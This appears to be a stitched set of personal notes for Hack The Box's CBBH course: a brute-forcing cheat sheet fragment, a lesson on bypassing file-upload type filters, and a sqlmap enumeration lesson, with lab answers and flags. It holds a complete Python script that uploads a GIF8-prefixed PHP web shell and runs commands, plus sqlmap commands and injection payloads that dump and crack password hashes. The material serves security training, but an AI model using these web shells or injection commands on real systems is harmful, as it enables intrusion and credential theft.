dictionary.txt wordlist.txt` `-f` reads patterns from a file. `dictionary.txt` should contain a list of common dictionary words, one per line. Combination of Requirements `grep -E '^.{8,}$' wordlist.txt | grep -E '[A-Z]'` This command filters a wordlist to meet multiple password policy requirements. It first ensures that each word has a minimum length of 8 characters (`grep -E '^.{8,}$'`), and then it pipes the result into a second `grep` command to match only words that contain at least one uppercase letter (`grep -E '[A-Z]'`). This approach ensures the filtered passwords meet both the length and uppercase letter criteria. [Login\_Brute\_Forcing\_Module\_Cheat\_Sheet.pdf](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FjjjeQ1Ou7Gab4nYtFyJT%2FLogin_Brute_Forcing_Module_Cheat_Sheet.pdf?alt=media&token=3ba279fa-f4ae-4b23-a201-882ba735b3ef) PDF · 4MB Download[Open](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FjjjeQ1Ou7Gab4nYtFyJT%2FLogin_Brute_Forcing_Module_Cheat_Sheet.pdf?alt=media&token=3ba279fa-f4ae-4b23-a201-882ba735b3ef) [PreviousExam Write up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up) [NextIntro to Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication) Last updated 1 year ago * [Login Brute Forcing Cheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#login-brute-forcing-cheat-sheet) * [What is Brute Forcing?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#what-is-brute-forcing) * [Default Credentials](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#default-credentials) * [Brute-Forcing Tools](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#brute-forcing-tools) Copy hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [-C FILE] -m MODULE [service://server[:PORT][/OPT]] Copy medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] --- # Type Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters.md) . * * * So far, we have only been dealing with type filters that only consider the file extension in the file name. However, as we saw in the previous section, we may still be able to gain control over the back-end server even with image extensions (e.g. `shell.php.jpg`). Furthermore, we may utilize some allowed extensions (e.g., SVG) to perform other attacks. All of this indicates that only testing the file extension is not enough to prevent file upload attacks. This is why many modern web servers and web applications also test the content of the uploaded file to ensure it matches the specified type. While extension filters may accept several extensions, content filters usually specify a single category (e.g., images, videos, documents), which is why they do not typically use blacklists or whitelists. This is because web servers provide functions to check for the file content type, and it usually falls under a specific category. There are two common methods for validating the file content: `Content-Type Header` or `File Content`. Let's see how we can identify each filter and how to bypass both of them. * * * ### Content-Type[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#content-type) Let's start the exercise at the end of this section and attempt to upload a PHP script: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_content_type_upload.jpg&width=768&dpr=3&quality=100&sign=7fd4a9ab&sv=2) We see that we get a message saying `Only images are allowed`. The error message persists, and our file fails to upload even if we try some of the tricks we learned in the previous sections. If we change the file name to `shell.jpg.phtml` or `shell.php.jpg`, or even if we use `shell.jpg` with a web shell content, our upload will fail. As the file extension does not affect the error message, the web application must be testing the file content for type validation. As mentioned earlier, this can be either in the `Content-Type Header` or the `File Content`. The following is an example of how a PHP web application tests the Content-Type header to validate the file type: Code: php The code sets the (`$type`) variable from the uploaded file's `Content-Type` header. Our browsers automatically set the Content-Type header when selecting a file through the file selector dialog, usually derived from the file extension. However, since our browsers set this, this operation is a client-side operation, and we can manipulate it to change the perceived file type and potentially bypass the type filter. We may start by fuzzing the Content-Type header with SecLists' [Content-Type Wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt) through Burp Intruder, to see which types are allowed. However, the message tells us that only images are allowed, so we can limit our scan to image types, which reduces the wordlist to `45` types only (compared to around 700 originally). We can do so as follows: Type Filters Exercise: Try to run the above scan to find what Content-Types are allowed. For the sake of simplicity, let's just pick an image type (e.g. `image/jpg`), then intercept our upload request and change the Content-Type header to it: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_bypass_content_type_request.jpg&width=768&dpr=3&quality=100&sign=216f57a2&sv=2) This time we get `File successfully uploaded`, and if we visit our file, we see that it was successfully uploaded: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) Note: A file upload HTTP request has two Content-Type headers, one for the attached file (at the bottom), and one for the full request (at the top). We usually need to modify the file's Content-Type header, but in some cases the request will only contain the main Content-Type header (e.g. if the uploaded content was sent as `POST` data), in which case we will need to modify the main Content-Type header. * * * ### MIME-Type[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#mime-type) The second and more common type of file content validation is testing the uploaded file's `MIME-Type`. `Multipurpose Internet Mail Extensions (MIME)` is an internet standard that determines the type of a file through its general format and bytes structure. This is usually done by inspecting the first few bytes of the file's content, which contain the [File Signature](https://en.wikipedia.org/wiki/List_of_file_signatures) or [Magic Bytes](https://web.archive.org/web/20240522030920/https://opensource.apple.com/source/file/file-23/file/magic/magic.mime) . For example, if a file starts with (`GIF87a` or `GIF89a`), this indicates that it is a `GIF` image, while a file starting with plaintext is usually considered a `Text` file. If we change the first bytes of any file to the GIF magic bytes, its MIME type would be changed to a GIF image, regardless of its remaining content or extension. Tip: Many other image types have non-printable bytes for their file signatures, while a `GIF` image starts with ASCII printable bytes (as shown above), so it is the easiest to imitate. Furthermore, as the string `GIF8` is common between both GIF signatures, it is usually enough to imitate a GIF image. Let's take a basic example to demonstrate this. The `file` command on Unix systems finds the file type through the MIME type. If we create a basic file with text in it, it would be considered as a text file, as follows: Type Filters As we see, the file's MIME type is `ASCII text`, even though its extension is `.jpg`. However, if we write `GIF8` to the beginning of the file, it will be considered as a `GIF` image instead, even though its extension is still `.jpg`: Type Filters Web servers can also utilize this standard to determine file types, which is usually more accurate than testing the file extension. The following example shows how a PHP web application can test the MIME type of an uploaded file: Code: php As we can see, the MIME types are similar to the ones found in the Content-Type headers, but their source is different, as PHP uses the `mime_content_type()` function to get a file's MIME type. Let's try to repeat our last attack, but now with an exercise that tests both the Content-Type header and the MIME type: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_bypass_content_type_request.jpg&width=768&dpr=3&quality=100&sign=216f57a2&sv=2) Once we forward our request, we notice that we get the error message `Only images are allowed`. Now, let's try to add `GIF8` before our PHP code to try to imitate a GIF image while keeping our file extension as `.php`, so it would execute PHP code regardless: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_bypass_mime_type_request.jpg&width=768&dpr=3&quality=100&sign=49a0efd&sv=2) This time we get `File successfully uploaded`, and our file is successfully uploaded to the server: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_bypass_mime_type.jpg&width=768&dpr=3&quality=100&sign=19e8e7f&sv=2) We can now visit our uploaded file, and we will see that we can successfully execute system commands: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell_gif.jpg&width=768&dpr=3&quality=100&sign=fcc45c28&sv=2) Note: We see that the command output starts with `GIF8` , as this was the first line in our PHP script to imitate the GIF magic bytes, and is now outputted as a plaintext before our PHP code is executed. We can use a combination of the two methods discussed in this section, which may help us bypass some more robust content filters. For example, we can try using an `Allowed MIME type with a disallowed Content-Type`, an `Allowed MIME/Content-Type with a disallowed extension`, or a `Disallowed MIME/Content-Type with an allowed extension`, and so on. Similarly, we can attempt other combinations and permutations to try to confuse the web server, and depending on the level of code security, we may be able to bypass various filters. ### Questions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#questions) #### The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#the-above-server-employs-client-side-blacklist-whitelist-content-type-and-mime-type-filters-to-ensur) I feel there were many ways this could have been approached. I think the biggest clue to get you in the right direction is understanding how to evade each of the filtering methods that are applied. To be successful here you need to create an upload request to the endpoint with a valid requests type (img/png or img/jpg) and the upload shell must lead with a valid type. There is a manual way of doing this (which is described above). I did this in an automated fashion by testing different payloads and request witht his python script Output A: HTB{m461c4l\_c0n73n7\_3xpl0174710n} [PreviousWhitelist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters) [NextOther Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks) Last updated 9 months ago * [Content-Type](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#content-type) * [MIME-Type](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#mime-type) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters#questions) Copy $type = $_FILES['uploadFile']['type']; if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) { echo "Only images are allowed"; die(); } Copy Code4Christ@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt Code4Christ@htb[/htb]$ cat web-all-content-types.txt | grep 'image/' > image-content-types.txt Copy Code4Christ@htb[/htb]$ echo "this is a text file" > text.jpg Code4Christ@htb[/htb]$ file text.jpg text.jpg: ASCII text Copy Code4Christ@htb[/htb]$ echo "GIF8" > text.jpg Code4Christ@htb[/htb]$ file text.jpg text.jpg: GIF image data Copy $type = mime_content_type($_FILES['uploadFile']['tmp_name']); if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) { echo "Only images are allowed"; die(); } Copy """ --------------------------- Type Filters --------------------------- 1. The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt" """ # Import Request to send web request to the internet import requests import sys import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "shell.jpg.phar" php_content = "GIF8 <?php system($_REQUEST['cmd']); ?>" # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" # Specify Profile Images access_url = f"http://{target}/profile_images/{php_web_shell_filename}?cmd=cat%20/flag.txt" # ============================ UPLOAD FILE TO TARGET, By passing blacklist filters ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, php_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # web_shell_response = access_web_shell(access_url) # Display Flag / Web Shell Response print_response(web_shell_response) def upload_file(php_web_shell_filename, php_content, upload_url): # FILE INFORMATION files = { # form field name matches the one in Burp capture "uploadFile": (php_web_shell_filename, php_content.encode("utf-8"), "image/png"), } # Add specific headers from Burp capture headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "X-Requested-With": "XMLHttpRequest", "DNT": "1", "Sec-GPC": "1", "Connection": "keep-alive" } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, headers=headers, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### UPLOAD FILE RESPONSE ###############") # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### WEB SHELL RESPONSE WITH FLAG ###############") # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy $ python3 type-filters.py 83.136.255.106:59302 ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://83.136.255.106:59302/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0', 'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Connection': 'keep-alive', 'Accept-Language': 'en-US,en;q=0.5', 'X-Requested-With': 'XMLHttpRequest', 'DNT': '1', 'Sec-GPC': '1', 'Content-Length': '220', 'Content-Type': 'multipart/form-data; boundary=a851d0c7b175bb9dbb83891548409879'} ******************** REQUEST BODY (raw): ******************** b'--a851d0c7b175bb9dbb83891548409879\r\nContent-Disposition: form-data; name="uploadFile"; filename="shell.jpg.phar"\r\nContent-Type: image/png\r\n\r\nGIF8 <?php system($_REQUEST[\'cmd\']); ?>\r\n--a851d0c7b175bb9dbb83891548409879--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://83.136.255.106:59302/profile_images/shell.jpg.phar?cmd=cat%20/flag.txt ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 39 ******************** RESPONSE (first 300 chars): ******************** GIF8 HTB{m461c4l_c0n73n7_3xpl0174710n} ******************** --- # Advanced Database Enumeration | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration.md) . Advanced Database Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#advanced-database-enumeration) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Now that we have covered the basics of database enumeration with SQLMap, we will cover more advanced techniques to enumerate data of interest further in this section. * * * ### DB Schema Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#db-schema-enumeration) If we wanted to retrieve the structure of all of the tables so that we can have a complete overview of the database architecture, we could use the switch `--schema`: Advanced Database Enumeration Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --schema ...SNIP... Database: master Table: log [3 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | date | datetime | | agent | varchar(512) | | id | int(11) | +--------+--------------+ Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ ... Database: testdb Table: data [2 columns] +---------+---------+ | Column | Type | +---------+---------+ | content | blob | | id | int(11) | +---------+---------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ * * * ### Searching for Data[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#searching-for-data) When dealing with complex database structures with numerous tables and columns, we can search for databases, tables, and columns of interest, by using the `--search` option. This option enables us to search for identifier names by using the `LIKE` operator. For example, if we are looking for all of the table names containing the keyword `user`, we can run SQLMap as follows: Advanced Database Enumeration In the above example, we can immediately spot a couple of interesting data retrieval targets based on these search results. We could also have tried to search for all column names based on a specific keyword (e.g. `pass`): Advanced Database Enumeration * * * ### Password Enumeration and Cracking[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#password-enumeration-and-cracking) Once we identify a table containing passwords (e.g. `master.users`), we can retrieve that table with the `-T` option, as previously shown: Advanced Database Enumeration We can see in the previous example that SQLMap has automatic password hashes cracking capabilities. Upon retrieving any value that resembles a known hash format, SQLMap prompts us to perform a dictionary-based attack on the found hashes. Hash cracking attacks are performed in a multi-processing manner, based on the number of cores available on the user's computer. Currently, there is an implemented support for cracking 31 different types of hash algorithms, with an included dictionary containing 1.4 million entries (compiled over the years with most common entries appearing in publicly available password leaks). Thus, if a password hash is not randomly chosen, there is a good probability that SQLMap will automatically crack it. * * * ### DB Users Password Enumeration and Cracking[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#db-users-password-enumeration-and-cracking) Apart from user credentials found in DB tables, we can also attempt to dump the content of system tables containing database-specific credentials (e.g., connection credentials). To ease the whole process, SQLMap has a special switch `--passwords` designed especially for such a task: Advanced Database Enumeration Tip: The '--all' switch in combination with the '--batch' switch, will automa(g)ically do the whole enumeration process on the target itself, and provide the entire enumeration details. This basically means that everything accessible will be retrieved, potentially running for a very long time. We will need to find the data of interest in the output files manually. #### What's the name of the column containing "style" in it's name? (Case #1)[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#whats-the-name-of-the-column-containing-style-in-its-name-case-1) A: parameter\_style #### What's the Kimberly user's password? (Case #1)[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#whats-the-kimberly-users-password-case-1) This one you can just use then search for kimberly A: Enizoom1609 [PreviousDatabase Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration) [NextAdvanced SQL Map Usage](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage) Last updated 9 months ago * [Advanced Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#advanced-database-enumeration) * [DB Schema Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#db-schema-enumeration) * [Searching for Data](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#searching-for-data) * [Password Enumeration and Cracking](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#password-enumeration-and-cracking) * [DB Users Password Enumeration and Cracking](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration#db-users-password-enumeration-and-cracking) Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --search -T user ...SNIP... [14:24:19] [INFO] searching tables LIKE 'user' Database: testdb [1 table] +-----------------+ | users | +-----------------+ Database: master [1 table] +-----------------+ | users | +-----------------+ Database: information_schema [1 table] +-----------------+ | USER_PRIVILEGES | +-----------------+ Database: mysql [1 table] +-----------------+ | user | +-----------------+ do you want to dump found table(s) entries? [Y/n] ...SNIP... Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --search -C pass ...SNIP... columns LIKE 'pass' were found in the following databases: Database: owasp10 Table: accounts [1 column] +----------+------+ | Column | Type | +----------+------+ | password | text | +----------+------+ Database: master Table: users [1 column] +----------+--------------+ | Column | Type | +----------+--------------+ | password | varchar(512) | +----------+--------------+ Database: mysql Table: user [1 column] +----------+----------+ | Column | Type | +----------+----------+ | Password | char(41) | +----------+----------+ Database: mysql Table: servers [1 column] +----------+----------+ | Column | Type | +----------+----------+ | Password | char(64) | +----------+----------+ Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users ...SNIP... [14:31:41] [INFO] fetching columns for table 'users' in database 'master' [14:31:41] [INFO] fetching entries for table 'users' in database 'master' [14:31:41] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [14:31:41] [INFO] using hash method 'sha1_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [14:31:41] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd) [14:31:41] [INFO] starting 8 processes [14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e' [14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9' ...SNIP... [14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917' Database: master Table: users [32 entries] +----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | id | cc | name | email | phone | address | birthday | password | occupation | +----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | 1 | 5387278172507117 | Maynard Rice | MaynardMRice@yahoo.com | 281-559-0172 | 1698 Bird Spring Lane | March 1 1958 | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) | Linemen | | 2 | 4539475107874477 | Julio Thomas | JulioWThomas@gmail.com | 973-426-5961 | 1207 Granville Lane | February 14 1972 | 10945aa229a6d569f226976b22ea0e900a1fc219 (taqris) | Agricultural product sorter | | 3 | 4716522746974567 | Kenneth Maloney | KennethTMaloney@gmail.com | 954-617-0424 | 2811 Kenwood Place | May 14 1989 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) | General and operations manager | | 4 | 4929811432072262 | Gregory Stumbaugh | GregoryBStumbaugh@yahoo.com | 410-680-5653 | 1641 Marshall Street | May 7 1936 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter | | 5 | 4539646911423277 | Bobby Granger | BobbyJGranger@gmail.com | 212-696-1812 | 4510 Shinn Street | December 22 1939 | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev) | Medical records and health information technician | | 6 | 5143241665092174 | Kimberly Wright | KimberlyMWright@gmail.com | 440-232-3739 | 3136 Ralph Drive | June 18 1972 | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609) | Electrologist | | 7 | 5503989023993848 | Dean Harper | DeanLHarper@yahoo.com | 440-847-8376 | 3766 Flynn Street | February 3 1974 | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided) | Store detective | | 8 | 4556586478396094 | Gabriela Waite | GabrielaRWaite@msn.com | 732-638-1529 | 2459 Webster Street | December 24 1965 | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47) | Telephone station installer | Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch ...SNIP... [14:25:20] [INFO] fetching database users password hashes [14:25:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique [14:25:20] [INFO] retrieved: 'root' [14:25:20] [INFO] retrieved: 'root' [14:25:20] [INFO] retrieved: 'root' [14:25:20] [INFO] retrieved: 'debian-sys-maint' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y [14:25:20] [INFO] using hash method 'mysql_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [14:25:20] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [14:25:20] [INFO] starting dictionary-based cracking (mysql_passwd) [14:25:20] [INFO] starting 8 processes [14:25:26] [INFO] cracked password 'testpass' for user 'root' database management system users password hashes: [*] debian-sys-maint [1]: password hash: *6B2C58EABD91C1776DA223B088B601604F898847 [*] root [1]: password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 clear-text password: testpass [14:25:28] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com' [*] ending @ 14:25:28 /2020-09-18/ Copy ┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-tu9evhc5ak]─[~] └──╼ [★]$ sqlmap -u "94.237.62.103:38729/case1.php?id=1" --search -C style ___ __H__ ___ ___[']_____ ___ ___ {1.8.12#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:15:46 /2025-11-09/ [17:15:47] [INFO] resuming back-end DBMS 'mysql' [17:15:47] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 1689=1689 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(5497=5497,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: id=1;SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 6423 FROM (SELECT(SLEEP(5)))BdfW) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x586b79504e675654694b4650417a506d64704b52434c5853667a705a7a45477a7a4a677579414b42,0x717a7a7a71)-- - --- [17:15:47] [INFO] the back-end 